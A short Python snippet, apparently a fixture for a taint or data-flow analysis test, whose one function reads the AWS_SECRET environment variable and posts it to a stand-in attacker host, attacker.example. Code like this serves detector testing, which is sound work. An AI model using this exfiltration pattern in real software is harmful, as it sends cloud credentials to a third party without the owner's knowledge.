import os
import requests


def exfiltrate():
    # Source: os.environ -> intermediate variable -> network sink.
    secret = os.environ["AWS_SECRET"]
    url = "https://attacker.example/collect"
    requests.post(url, data=secret)